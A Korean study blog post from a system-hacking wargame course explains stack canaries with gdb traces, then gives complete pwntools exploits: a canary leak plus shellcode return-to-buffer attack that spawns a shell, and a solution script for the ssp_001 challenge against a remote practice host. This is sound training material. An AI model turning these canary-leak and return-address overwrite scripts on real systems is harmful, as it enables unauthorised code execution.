[시스템해킹] stage 6
스택 카나리(Stack Canary)
: 함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의 값을 삽입하고
함수 에필로그에서 해당 값의 변조를 확인하는 보호기법
- 이 값의 변조가 확인되면 프로세스는 강제 종료됨
- 스택버퍼오버플로우로 반환주소를 덮을 땐 반드시 카나리도 덮어야(변조해야)하므로
- 원 카나리값을 모르고 이 값을 변조하게 되면 에필로그에서 변조가 적발되어 흐름 탈취에 실패하게 됨
1. 카나리 정적 분석
예제 코드 (스택 버퍼 오버플로우가 발생하는 코드)
// Name: canary.c
#include <unistd.h>
int main() {
char buf[8];
read(0, buf, 32);
return 0;
}
(버퍼 크기는 8, 입력받는 크기는 32이므로 오버플로우 발생)
1-1. 카나리 비활성화
- Ubuntu 18.04의 gcc는 컴파일 시 기본적으로 스택 카나리를 적용하기 때문에
- 컴파일 옵션으로 -fno-stack-protector를 추가해야 카나리 없이 컴파일할 수 있음
- 다음 명령어로 예제를 컴파일한 뒤 긴 입력을 주면 스택 버퍼 오버플로우가 발생하고
- 반환주소가 덮여 Segmentation Fault가 발생함
$ gcc -o no_canary canary.c -fno-stack-protector
$ ./no_canary
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
Segmentation fault
1-2. 카나리 활성화
카나리를 적용한 뒤 다시 컴파일하고 긴 입력을 주면
Segmentation Fault 대신 stack smashing detected와 Aborted 에러가 발생함
= 스택 버퍼 오버플로우가 감지됨 & 그로 인해 프로세스 강제 종료되었음
$ gcc -o canary canary.c
$ ./canary
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
*** stack smashing detected ***: <unknown> terminated
Aborted
카나리가 없을 때와 디스어셈블 결과를 비교하면
main함수의 프롤로그/에필로그에 각각 다음 코드들이 추가된 것을 알 수 있음
0x00000000000006b2 <+8>: mov rax,QWORD PTR fs:0x28
0x00000000000006bb <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000000006bf <+21>: xor eax,eax
(프롤로그)
0x00000000000006dc <+50>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000000006e0 <+54>: xor rcx,QWORD PTR fs:0x28
0x00000000000006e9 <+63>: je 0x6f0 <main+70>
0x00000000000006eb <+65>: call 0x570 <__stack_chk_fail@plt>
(에필로그)
2. 카나리 동적 분석
2-1. 카나리 저장
디스어셈블된 (카나리가 있는) 프롤로그 코드에 중단점 설정 -> 바이너리 실행
0x00000000000006b2 <+8>: mov rax,QWORD PTR fs:0x28 //fs:0x28의 데이터 rax에 저장
// fs = 세그먼트 레지스터의 일종. 프로세스가 시작될 때 랜덤 값을 저장받음
// 위 코드 실행으로 rax에는 첫 바이트가 널바이트인 8바이트 (랜덤) 데이터가 저장됨
0x00000000000006bb <+17>: mov QWORD PTR [rbp-0x8],rax //rax의 랜덤값 rbp-0x8에 저장
0x00000000000006bf <+21>: xor eax,eax
2-2. 카나리 실행
추가된 에필로그 코드에 중단점 설정 -> 바이너리 계속 실행
0x00000000000006dc <+50>: mov rcx,QWORD PTR [rbp-0x8] //저장한 카나리 rcx로 이동
0x00000000000006e0 <+54>: xor rcx,QWORD PTR fs:0x28 //rcx값을 fs:0x28과 비교
// fs:0x28에는 원래의 카나리값이 들어있으므로 두 값이 동일하면 xor 연산결과는 0이 되며
// je 조건 만족, main함수는 +70d으로 점프하여 정상적으로 반환
// 만약 그렇지 않으면 +65의 __stack_chk_fail이 호출되며 프로그램 강제종료
0x00000000000006e9 <+63>: je 0x6f0 <main+70>
0x00000000000006eb <+65>: call 0x570 <__stack_chk_fail@plt>
강제종료 시 출력되는 메시지
*** stack smashing detected ***: <unknown> terminated
Program received signal SIGABRT, Aborted.
3. 카나리 생성 과정
: 카나리 값은 프로세스 시작 시 TLS에 전역 변수로 저장되고
각 함수마다 프롤로그/에필로그에서 이 값을 참조함
3-1. TLS 주소 파악
- fs = TLS를 가리킴. fs의 값을 알면 TLS 주소도 알 수 있음
- / 리눅스에서 fs의 값은 특정 시스템 콜을 사용해야만 조회/설정할 수 있음
- (타 레지스터처럼 info register fs나 prints $fs 같은 명령어로는 값 알 수 없음)
- => fs 값 설정 시 호출되는 arch_prctl(int code, unsigned long addr) 시스템 콜에 중단점 설정하여
- fs가 어떤 값으로 설정되는지 조사
- -> arch_prctl(ARCH_SET_FS, addr) 형태로 호출하면 fs 값이 addr로 설정됨
- catch(특정 이벤트 발생 시 프로세스 중지) 명령어 사용하여
- arch_prctl에 catchpoint 설정하고 실습에 사용한 카나리 실행
$ gdb -q ./canary
pwndbg> catch syscall arch_prctl
Catchpoint 1 (syscall 'arch_prctl' [158])
pwndbg> run
- catchpoint 도달 시점에서 rdi = 0x1002. =ARCH_SET_FS의 상숫값
- rsi = 0x7ffff7fdb4c0 이므로 이 주소에 TLS가 저장되고 fs는 이를 가리키게 될 것임
- 카나리가 저장될 fs+0x28(0x7ffff7fdb4c0 + 0x28) 값을 보면 아직 아무 값도 설정되어 있지 않음
Catchpoint 1 (call to syscall arch_prctl), 0x00007ffff7dd6024 in init_tls () at rtld.c:740
740 rtld.c: No such file or directory.
► 0x7ffff7dd4024 <init_tls+276> test eax, eax
0x7ffff7dd4026 <init_tls+278> je init_tls+321 <init_tls+321>
0x7ffff7dd4028 <init_tls+280> lea rbx, qword ptr [rip + 0x22721]
pwndbg> info register $rdi
rdi 0x1002 4098 // ARCH_SET_FS = 0x1002
pwndbg> info register $rsi
rsi 0x7ffff7fdb4c0 140737354032320
pwndbg> x/gx 0x7ffff7fdb4c0+0x28
0x7ffff7fdb4e8: 0x0000000000000000
3-2. 카나리 값 설정
- TLS 주소를 파악했으므로 gdb의 watch 명령어로 TLS+0x28에 값을 쓸 때 (카나리값을 쓸 때) 프로세스 중단
- watch = 특정 주소에 저장된 값이 변경되면 프로세스를 중단시키는 명령어 (주소 감시)
pwndbg> watch *(0x7ffff7fdb4c0+0x28)
Hardware watchpoint 4: *(0x7ffff7fdb4c0+0x28)
- watchpoint 설정 후 프로세스 계속 진행
- -> security_init 함수에서 프로세스 정지
pwndbg> continue
Continuing.
Hardware watchpoint 4: *(0x7ffff7fdb4c0+0x28)
Old value = 0
New value = -1942582016
security_init () at rtld.c:807
807 in rtld.c
- 이 시점에서 TLS+0x28 값 조회 시
- 0x2f35207b8c368d00이 카나리로 설정된 것을 볼 수 있음
pwndbg> x/gx 0x7ffff7fdb4c0+0x28
0x7ffff7fdb4e8: 0x2f35207b8c368d00
- 실제 이 값이 카나리인지 확인 -> main함수에 중단점 설정 후 계속 실행
pwndbg> b *main
Breakpoint 3 at 0x5555555546ae
- mov rax,QWORD PTR fs:0x28 실행 후 rax 값 확인 -> security_init 에서 설정한 값과 동일함이 확인됨
Breakpoint 3, 0x00005555555546ae in main ()
pwndbg> x/10i $rip
► 0x5555555546ae <main+4>: sub rsp,0x10
0x5555555546b2 <main+8>: mov rax,QWORD PTR fs:0x28
0x5555555546bb <main+17>: mov QWORD PTR [rbp-0x8],rax
0x5555555546bf <main+21>: xor eax,eax
0x5555555546c1 <main+23>: lea rax,[rbp-0x10]
0x5555555546c5 <main+27>: mov edx,0x20
0x5555555546ca <main+32>: mov rsi,rax
0x5555555546cd <main+35>: mov edi,0x0
0x5555555546d2 <main+40>: call 0x555555554580 <read@plt>
0x5555555546d7 <main+45>: mov eax,0x0
pwndbg> ni
0x00005555555546b2 in main ()
pwndbg> ni
0x00005555555546bb in main ()
pwndbg> i r $rax
rax 0x2f35207b8c368d00 3401660808553729280
pwndbg>
4. 카나리 우회
4-1. 무차별 대입(Brute Force)
- x64 아키텍처에서는 8바이트, x86 아키텍처에서는 4바이트 카나리가 생성됨
- 각각의 카나리에는 널 바이트가 포함되어 있으므로 실제로는 각각 7바이트/3바이트
- => 무차별 대입으로 알아내려면 각각 256^7번, 256^3번의 연산 필요
- 연산량이 많아 x64 아키텍처에서는 무차별 대입법 자체가 현실적으로 무리
- x86에서는 구할 수는 있으나, 실제 서버 대상으로는 무리
4-2. TLS 접근
: 실행 중 TLS 주소를 알 수 있고 / 임의 주소에 대한 읽기&쓰기가 가능하다면 카나리값 열람/조작이 가능함
- 스택버퍼오버플로우를 수행할 때 알아낸(조작한) 카나리 값으로 스택 카나리를 덮으면
- 함수 에필로그의 카나리 검사도 우회 가능
Exploit Tech : Return to Shellcode
예제 코드
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x50];
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
1. 보호기법 탐지
: checksec 툴 사용
- pwntools 설치 시 같이 설치되어 옴. ~/.local/bin/checksec에 위치함
- 간단한 커맨드 하나로 바이너리에 적용된 보호기법 파악할 수 있음
$ checksec ./r2s
[*] '/home/dreamhack/r2s'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
(위 커맨드 사용 시 command not found 에러가 뜰 경우 /.bashrc의 마지막 줄에 다음 줄 추가할 것)
export PATH="$HOME/.local/bin/:$PATH"
위 확인 결과로 r2s바이너리에 카나리가 적용되어 있는 것을 확인할 수 있음
2. 취약점 탐색
2-1. buf 주소
: (실습 편의를 위해) buf 주소, rbp와 buf 사이의 주소 차 드러남
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
2-2. 스택 버퍼 오버플로우
: 스택버퍼인 buf에 입력을 받는 총 두 번의 입력에서 모두 오버플로우가 발생함
char buf[0x50];
read(0, buf, 0x100); // 0x50 < 0x100
gets(buf);
3. 익스플로잇 시나리오
3-1. 카나리 우회
: 두 번째 입력으로 반환 주소를 덮을 수 있지만 카나리 변조 시 프로그램이 강종되므로
- 첫번째 입력에서 카나리를 구하고 -> 두번째 입력에서 사용해야 함
- 첫번째 입력 바로 뒷단에서 buf를 스트링으로 출력해주기 때문에
- buf에 적절한 오버플로우를 발생시키면 카나리 값을 드러낼 수 있을 것임
read(0, buf, 0x100); // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);
3-2. 셸 획득
- 지난 실습과 달리 셸 획득 함수가 주어지지 않으므로 셸 획득 코드를 직접 주입하고
- 해당 주소로 실행흐름을 옮겨야 함
- -> 이미 주소가 알려진 buf에 셸코드 주입 -> 해당 주소로 실행 흐름 이동하여 셸 획득
4. 스택 프레임 정보 수집
- 스택 프레임 구조 파악
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./r2s")
context.arch = "amd64"
# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8501
[+] Address of buf: 0x7ffe1d28c570
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
(결과값)
5. 카나리 릭
buf와 카나리 사이를 임의 값으로 채우면 프로그램에서 buf를 출력할 때 카나리도 함께 출력될 것임
스택 프레임 구조를 고려하여 카나리를 구하는 코드 작성
# [2] Leak canary value
payload = b"A"*(buf2cnry + 1) # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)
$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8564
[+] Address of buf: 0x7ffe58a8d740
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
[+] Canary: 0x40e736d41cd76400
6. 익스플로잇
buf에 셸코드를 주입하고 카나리를 구한 값으로 덮은 뒤
-> 반환주소 (RET)를 buf로 덮으면 셸코드가 실행됨
(context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있음)
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
p.interactive()
$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8593
[+] Address of buf: 0x7ffc323acb00
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
[+] Canary: 0x6955522676848000
[*] Switching to interactive mode
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack) ...
전체 익스플로잇 코드
#!/usr/bin/env python3
# Name: r2s.py
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./r2s")
context.arch = "amd64"
# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
# [2] Leak canary value
payload = b"A"*(buf2cnry + 1) # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
p.interactive()
ssp_001
첨부 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
- 셸 획득을 위한 get_shell() 함수가 정의되어 있음
(셸코드 별도 삽입 대신 리턴주소에 get_shell() 주소를 삽입하면 됨) - 유저 입력이 select 변수에 담겨 들어감
(이 부분에서는 정확히 버퍼 길이만큼만 읽으므로 오버플로우 불가능)
- 유저 입력: F > box 배열에 입력값을 넣을 수 있으나 딱 배열 길이만큼만 입력받고 있으므로 취약x
- 유저 입력: P > scanf로 idx를 입력받고 있음
직후 print_box로 해당 idx가 box 배열 인덱스로 들어갔을 경우의 주소값 출력
= box부터 idx까지의 거리(바이트) 파악 가능.
=> 이후 main 함수의 어셈블리 코드를 보고 카나리 위치를 알아낸 뒤 idx에 카나리 위치를 넣으면
box 배열부터 카나리까지의 거리를 구할 수 있음 - 유저 입력: E > 원하는 길이를 설정해 그 길이만큼의 문자열을 넘겨줄 수 있음
=> 페이로드(겟셸) 넘겨줄 수 있음
먼저 checksec으로 적용된 보호기법을 살펴본다.
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
확실하게 카나리가 적용되어 있다.
그 다음에는 메인 함수를 디스어셈블해 본다.
pwndbg> disassemble main
Dump of assembler code for function main:
0x0804872b <+0>: push ebp
0x0804872c <+1>: mov ebp,esp
0x0804872e <+3>: push edi
0x0804872f <+4>: sub esp,0x94
0x08048735 <+10>: mov eax,DWORD PTR [ebp+0xc]
0x08048738 <+13>: mov DWORD PTR [ebp-0x98],eax
0x0804873e <+19>: mov eax,gs:0x14
0x08048744 <+25>: mov DWORD PTR [ebp-0x8],eax
0x08048747 <+28>: xor eax,eax
0x08048749 <+30>: lea edx,[ebp-0x88]
0x0804874f <+36>: mov eax,0x0
0x08048754 <+41>: mov ecx,0x10
0x08048759 <+46>: mov edi,edx
0x0804875b <+48>: rep stos DWORD PTR es:[edi],eax
0x0804875d <+50>: lea edx,[ebp-0x48]
0x08048760 <+53>: mov eax,0x0
0x08048765 <+58>: mov ecx,0x10
0x0804876a <+63>: mov edi,edx
0x0804876c <+65>: rep stos DWORD PTR es:[edi],eax
0x0804876e <+67>: mov WORD PTR [ebp-0x8a],0x0
0x08048777 <+76>: mov DWORD PTR [ebp-0x94],0x0
0x08048781 <+86>: mov DWORD PTR [ebp-0x90],0x0
0x0804878b <+96>: call 0x8048672 <initialize>
0x08048790 <+101>: call 0x80486f1 <menu>
0x08048795 <+106>: push 0x2
0x08048797 <+108>: lea eax,[ebp-0x8a]
0x0804879d <+114>: push eax
0x0804879e <+115>: push 0x0
0x080487a0 <+117>: call 0x80484a0 <read@plt>
0x080487a5 <+122>: add esp,0xc
0x080487a8 <+125>: movzx eax,BYTE PTR [ebp-0x8a]
0x080487af <+132>: movsx eax,al
0x080487b2 <+135>: cmp eax,0x46
0x080487b5 <+138>: je 0x80487c6 <main+155>
0x080487b7 <+140>: cmp eax,0x50
0x080487ba <+143>: je 0x80487eb <main+192>
0x080487bc <+145>: cmp eax,0x45
0x080487bf <+148>: je 0x8048824 <main+249>
0x080487c1 <+150>: jmp 0x804887a <main+335>
0x080487c6 <+155>: push 0x804896c
0x080487cb <+160>: call 0x80484b0 <printf@plt>
0x080487d0 <+165>: add esp,0x4
0x080487d3 <+168>: push 0x40
0x080487d5 <+170>: lea eax,[ebp-0x88]
0x080487db <+176>: push eax
0x080487dc <+177>: push 0x0
0x080487de <+179>: call 0x80484a0 <read@plt>
0x080487e3 <+184>: add esp,0xc
0x080487e6 <+187>: jmp 0x804887a <main+335>
0x080487eb <+192>: push 0x8048979
0x080487f0 <+197>: call 0x80484b0 <printf@plt>
0x080487f5 <+202>: add esp,0x4
0x080487f8 <+205>: lea eax,[ebp-0x94]
0x080487fe <+211>: push eax
0x080487ff <+212>: push 0x804898a
0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt>
0x08048809 <+222>: add esp,0x8
0x0804880c <+225>: mov eax,DWORD PTR [ebp-0x94]
0x08048812 <+231>: push eax
0x08048813 <+232>: lea eax,[ebp-0x88]
0x08048819 <+238>: push eax
0x0804881a <+239>: call 0x80486cc <print_box>
0x0804881f <+244>: add esp,0x8
0x08048822 <+247>: jmp 0x804887a <main+335>
0x08048824 <+249>: push 0x804898d
0x08048829 <+254>: call 0x80484b0 <printf@plt>
0x0804882e <+259>: add esp,0x4
0x08048831 <+262>: lea eax,[ebp-0x90]
0x08048837 <+268>: push eax
0x08048838 <+269>: push 0x804898a
0x0804883d <+274>: call 0x8048540 <__isoc99_scanf@plt>
0x08048842 <+279>: add esp,0x8
0x08048845 <+282>: push 0x804899a
0x0804884a <+287>: call 0x80484b0 <printf@plt>
0x0804884f <+292>: add esp,0x4
0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90]
0x08048858 <+301>: push eax
0x08048859 <+302>: lea eax,[ebp-0x48]
0x0804885c <+305>: push eax
0x0804885d <+306>: push 0x0
0x0804885f <+308>: call 0x80484a0 <read@plt>
0x08048864 <+313>: add esp,0xc
0x08048867 <+316>: mov eax,0x0
0x0804886c <+321>: mov edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>: xor edx,DWORD PTR gs:0x14
0x08048876 <+331>: je 0x8048884 <main+345>
0x08048878 <+333>: jmp 0x804887f <main+340>
0x0804887a <+335>: jmp 0x8048790 <main+101>
0x0804887f <+340>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048884 <+345>: mov edi,DWORD PTR [ebp-0x4]
0x08048887 <+348>: leave
0x08048888 <+349>: ret
End of assembler dump.
상당한 길이지만 C코드와 잘 대조해 보면 어떤 부분이 어디에 해당되는지 대강 알아볼 수 있다.
box부터 카나리까지의 거리를 알아보자. 이 부분을 보면 된다.
0x08048790 <+101>: call 0x80486f1 <menu>
0x08048795 <+106>: push 0x2
0x08048797 <+108>: lea eax,[ebp-0x8a]
0x0804879d <+114>: push eax
0x0804879e <+115>: push 0x0
0x080487a0 <+117>: call 0x80484a0 <read@plt>
0x080487a5 <+122>: add esp,0xc
0x080487a8 <+125>: movzx eax,BYTE PTR [ebp-0x8a]
0x080487af <+132>: movsx eax,al
0x080487b2 <+135>: cmp eax,0x46
0x080487b5 <+138>: je 0x80487c6 <main+155>
0x080487b7 <+140>: cmp eax,0x50
0x080487ba <+143>: je 0x80487eb <main+192>
0x080487bc <+145>: cmp eax,0x45
0x080487bf <+148>: je 0x8048824 <main+249>
0x080487c1 <+150>: jmp 0x804887a <main+335>
while 루프와 switch 부분이다. +140, +143 부분을 보면 read함수로부터 받은 값이 P일 때 +192로 점프하도록 되어 있다.
(문자 'P'의 아스키코드는 0x50)
같은 원리로 E를 입력하면 +249로 점프하도록 되어 있다.
0x080487eb <+192>: push 0x8048979
0x080487f0 <+197>: call 0x80484b0 <printf@plt>
0x080487f5 <+202>: add esp,0x4
0x080487f8 <+205>: lea eax,[ebp-0x94]
0x080487fe <+211>: push eax
0x080487ff <+212>: push 0x804898a
0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt>
0x08048809 <+222>: add esp,0x8
0x0804880c <+225>: mov eax,DWORD PTR [ebp-0x94]
0x08048812 <+231>: push eax
0x08048813 <+232>: lea eax,[ebp-0x88]
0x08048819 <+238>: push eax
0x0804881a <+239>: call 0x80486cc <print_box>
P를 입력했을 때 실행되는, +192부터의 어셈블리 코드이다.
+232를 보면 box 배열의 주소가 ebp-0x88임을 알 수 있다. 0x40바이트짜리 공간이니 0x48~0x88의 주소를 차지할 것이다.
0x08048824 <+249>: push 0x804898d
0x08048829 <+254>: call 0x80484b0 <printf@plt>
0x0804882e <+259>: add esp,0x4
0x08048831 <+262>: lea eax,[ebp-0x90]
0x08048837 <+268>: push eax
0x08048838 <+269>: push 0x804898a
0x0804883d <+274>: call 0x8048540 <__isoc99_scanf@plt>
0x08048842 <+279>: add esp,0x8
0x08048845 <+282>: push 0x804899a
0x0804884a <+287>: call 0x80484b0 <printf@plt>
0x0804884f <+292>: add esp,0x4
0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90]
0x08048858 <+301>: push eax
0x08048859 <+302>: lea eax,[ebp-0x48]
0x0804885c <+305>: push eax
0x0804885d <+306>: push 0x0
0x0804885f <+308>: call 0x80484a0 <read@plt>
+249부터 입력했을 때 실행되는, E 부분의 스위치문 코드이다.
+302를 보면 name 배열의 주소는 0x48임을 알 수 있다. 이 또한 0x40바이트짜리 배열이므로
name 배열은 0x8~0x48의 공간을 차지한다고 생각할 수 있다.
같은 순서로 탐색한 결과
그렇다면 카나리는 어디 있을까? 이 문제에서는 유념해야 할 것이 있다.
이번 스테이지에서 우리는 카나리가 fs: 0x28에 저장된다고 배웠지만
그것은 64비트 시스템 기준이다. 32비트에서는 gs: 0x14에 저장된다고 한다.
그러면 카나리가 저장된다고 생각할 수 있는 부분은 이 부분이다.
0x0804873e <+19>: mov eax,gs:0x14
0x08048744 <+25>: mov DWORD PTR [ebp-0x8],eax
카나리는 0x8에 있다. 그러므로 name부터 카나리까지는 0x40바이트 차이, box부터는 0x80바이트 차이가 나는 것이다.
거리를 알았다면 이제 카나리 값을 알아내고 셸 함수의 주소를 얻은 뒤 리턴주소를 덮는 코드를 작성해 준다.
from pwn import *
def canary_leak(num):
p.sendline(b'P')
p.sendlineafter("index : ", str(num))
p.recvuntil("is : ")
return p.recv()[:2]
def log(a, b):
return success(": ".join([a, hex(b)]))
p = remote("host1.dreamhack.games", 24128)
e = ELF("./ssp_001")
p.recvuntil("> ")
canary = b"0x"
canary += canary_leak(131)
canary += canary_leak(130)
canary += canary_leak(129)
canary += canary_leak(128)
canary = int(canary, 16)
get_shell = e.symbols["get_shell"]
log("Canary", canary)
log("get_shell()", get_shell)
payload = b'A'*0x40
payload += p32(canary)
payload += b'B'*0x8
payload += p32(get_shell)
p.sendline('E')
p.recvuntil("Size : ")
p.sendline(str(len(payload)))
p.recvuntil("Name : ")
p.sendline(payload)
p.interactive()